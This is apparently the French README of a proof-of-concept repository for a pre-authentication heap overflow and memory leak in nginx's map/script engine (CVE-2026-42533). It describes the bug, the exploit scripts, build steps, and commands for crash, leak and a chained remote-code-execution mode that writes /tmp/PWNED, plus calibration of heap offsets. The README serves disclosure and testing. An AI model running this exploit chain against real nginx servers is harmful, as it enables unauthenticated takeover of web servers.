
CVE-2026-42533 : débordement de tas nginx pré-authentification et fuite d'informations due à l'écrasement des captures PCRE dans le moteur map/script, enchaîné à une RCE.
Débordement de tampon sur le tas en pré-auth et fuite d'informations sur le tas dans nginx, causés par l'absence de sauvegarde/restauration de l'état des captures PCRE entre les deux passages du moteur de script. Une variable map basée sur une regex, évaluée entre deux références de capture, écrase r->captures, de sorte que le passage LEN et le passage VALUE ne s'accordent pas sur la taille d'une capture. Le tampon est dimensionné pour une capture et rempli avec une autre. Un écrasement plus grand produit un débordement de tas avec un contenu et une longueur contrôlés par l'attaquant. Un écrasement plus petit produit un tampon surdimensionné dont la queue non initialisée est renvoyée au client, divulguant des pointeurs libc et tas.
Les deux primitives s'enchaînent en une exécution de code à distance fiable en pré-auth. La fuite contourne l'ASLR en une seule requête GET, si bien que le débordement ne nécessite pas que l'ASLR soit désactivé.
Analyse : https://cyberstan.co.uk/nginx-rce/ Avis de sécurité : F5 K000162097 Signalé par : Stan Shaw (cyberstan)
nginx 0.9.6 à 1.30.3 (stable) et 1.31.2 (mainline), atteignable depuis que la directive map a obtenu le support des regex en 2011. Les modules http et stream sont tous deux concernés. Environ 50 directives réparties sur 13 points d'appel, plus un second chemin via les captures nommées (r->variables[]). Corrigé dans 1.30.4 et 1.31.3.
CVE-2026-42533-PoC/
├── exploits/ exploit and validator scripts
│ ├── poc.py numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│ ├── calibrate.py find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│ ├── leak_multi.py info leak on the return and set sinks
│ ├── test_all_sites.py ASan validator, all 13 overflow sites
│ └── named_capture_poc.py named-capture r->variables[] variant
├── configs/ nginx configs the exploits run against
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf deterministic rce-det
├── docs/
│ └── EXPLOITATION.md full exploitation writeup
└── README.md
Exécutez chaque commande ci-dessous depuis la racine du dépôt, afin que exploits/, configs/ et l'arborescence de build ../nginx-1.30.1 soient tous correctement résolus.
exploits/poc.py est l'exploit principal (capture numérotée, sink proxy_method). Ses modes :
| Mode | Objectif |
|---|---|
poc.py --crash | Déclenche le débordement de tas ; sur un build ASan, il affiche la taille d'écriture et la pile au niveau de ngx_http_script_copy_capture_code. |
poc.py --leak | Fuite d'informations : extrait les pointeurs libc et tas du corps de réponse surdimensionné. |
poc.py --rce | RCE complet en pré-auth. Tir unique général (configs/nginx_poc.conf), ~66 % de réussite par tentative ; relancez en cas d'échec. |
poc.py --rce-det | RCE complet en pré-auth, déterministe avec la configuration contrôlée configs/nginx_det.conf. |
Scripts autonomes couvrant le reste de la surface du bug :
| Script | Objectif |
|---|---|
exploits/leak_multi.py | Fuite d'informations via deux évaluateurs supplémentaires (return, set) ; chaque pointeur libc+tas est confirmé par rapport à /proc/<pid>/maps. Configuration standard. |
exploits/test_all_sites.py | Validateur AddressSanitizer qui déclenche les 13 points d'appel de débordement (http + stream). |
exploits/named_capture_poc.py | La variante à capture nommée (?P<name>...) via r->variables[] / copy_var_code, une seconde cause racine. |
Les configurations se trouvent dans configs/ : nginx_poc.conf (crash/leak/rce), nginx_det.conf (rce-det). L'analyse complète se trouve dans docs/EXPLOITATION.md.
Linux, gcc, python3 et les sources d'nginx 1.30.1. Développé et testé sur Ubuntu 24.04.4, glibc 2.39, PCRE2 10.42, python 3.12, ASLR complet.
Deux builds. Un build propre pour la fuite et le RCE, afin que les résidus du tas soient réels. Un build AddressSanitizer pour le crash et les validateurs de sites, afin que le débordement soit signalé avec une taille d'écriture exacte et une pile.
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# clean build -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py communique avec une instance nginx en cours d'exécution sur 127.0.0.1:8950. Démarrez-la dans un terminal avec configs/nginx_poc.conf, puis lancez le mode souhaité dans un autre. Les trois autres scripts démarrent et arrêtent leur propre nginx ; ils n'ont donc besoin que de NGINX_BIN.
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan build, foreground
python3 exploits/poc.py --crash
Résultat attendu : un heap-buffer-overflow, WRITE of size 200 dans ngx_http_script_copy_capture_code à ngx_http_script.c:1404, appelé depuis ngx_http_complex_value dans ngx_http_proxy_create_request.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --leak
Résultat attendu : un corps de 8161 octets avec 2 octets écrits, le reste étant composé de résidus du tas. Un pointeur libc au décalage 0x08 et un pointeur tas au décalage 0x10.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --rce # writes /tmp/PWNED via system()
Résultat attendu : une fuite, environ 40 connexions de spray, un déclenchement du débordement, puis /tmp/PWNED contenant la sortie de id. Il s'agit d'un tir unique qui aboutit environ deux fois sur trois sur le build de développement ; en cas d'échec, le worker plante et vous relancez. Voir la section « Reliability » de docs/EXPLOITATION.md.
Contre une configuration contrôlée, le même bug devient un tir unique déterministe. Il récupère la base absolue du tas à partir de la fuite en une ligne (heap_base = (leaked_ptr & ~0xfff) - 0x22000), place un unique nettoyage de pool forgé dans une connexion maintenue à une adresse connue, et fait pointer le nettoyage du pool victime vers lui au lieu du corps déclencheur transitoire, qu'nginx libère avant le démontage.
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # controlled config
python3 exploits/poc.py --rce-det
nginx_det.conf est une configuration de laboratoire (worker unique, tampons fixes) dont la disposition du tas est reproductible ; c'est ce qui rend valides les décalages de poc.py (PL_OFF, HEAP_PAGE_OFF). PL_OFF est le décalage depuis la base du tas auquel atterrit le corps de nettoyage du POST /b/ maintenu ; il dépend de la séquence d'allocation exacte, il varie donc entre les builds, les versions de glibc et les configurations. Si --rce-det signale Recalibrate, lisez les bonnes valeurs sur un worker actif avec calibrate.py :
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g. set PL_OFF = 0x14426 , then edit it in exploits/poc.py